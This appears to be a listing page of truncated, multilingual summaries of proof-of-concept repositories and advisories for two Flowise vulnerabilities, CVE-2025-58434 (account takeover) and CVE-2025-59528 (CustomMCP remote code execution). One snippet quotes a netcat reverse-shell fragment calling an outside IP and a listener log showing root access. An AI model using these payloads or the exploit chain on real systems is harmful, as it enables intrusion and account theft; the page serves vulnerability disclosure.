Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE チェーン - ATO CVE-2025-58434 および RCE CVE-2025-59528 ⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 このツールを、自分が所有していない、または書面によるテスト許可がないシステムに対して実行することは違法 です。 目次 このリポジトリには、2つのFlowise脆弱性を連鎖させるPythonの概念実証コードが含まれています： CVE-2025-58434 — パスワードリセットトークンの露出によるアカウント乗っ取り CVE-2025-59528 —...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP リモートコード実行 PoC CVE-2025-59528 を対象とした Go 製の概念実証（PoC）です。対象は Flowise バージョン...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행 CVSS 10.0 치명적 | 블라인드 RCE | FlowiseAI Flowise = 2.2.7-patch.1 및 3.0.6 개요 CustomMCP 노드에서 발견된 FlowiseAI Flowise의 치명적인 원격 코드 실행 취약점입니다. convertToValidJSONString 함수는 mcpServerConfig 매개변수의 사용자 입력을 JavaScript의 Function 생성자에 직접 전달합니다. 이는 eval과 기능적으로 동일하며, 전체...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC 概要 このリポジトリには、Flowise v3.0.5 における CVE-2025-59528 の概念実証が含まれています。 脆弱性は customMCP ノードに存在し、ユーザーが提供した mcpServerConfig 入力が、Function コンストラクタを使用した安全でない評価を介して JavaScript コードの実行につながる方法で処理されます。 影響を受けるバージョン...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Flowise バージョン &1|nc 10.10.15.200 443 /tmp/f' リスナーを確認すると動作するはずです: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2025-59528.yaml

CVE-2025-59528.yaml...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise = 3.0.5에 영향을 미치는 두 가지 취약점에 대한 익스플로잇 체인입니다. 취약점 CVE-2025-58434 — 인증되지 않은 계정 탈취 비밀번호 찾기 엔드포인트는 인증 없이 API 응답에 유효한 비밀번호 재설정 토큰을 반환합니다. 유효한 이메일 주소를 알고 있는 공격자는 사용자 상호작용 없이 모든 계정의 비밀번호를 재설정할 수 있습니다. CVE-2025-59528 — 인증된 원격 코드 실행 CustomMCP 노드는 사용자 제어 입력을 전체 Node.js...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...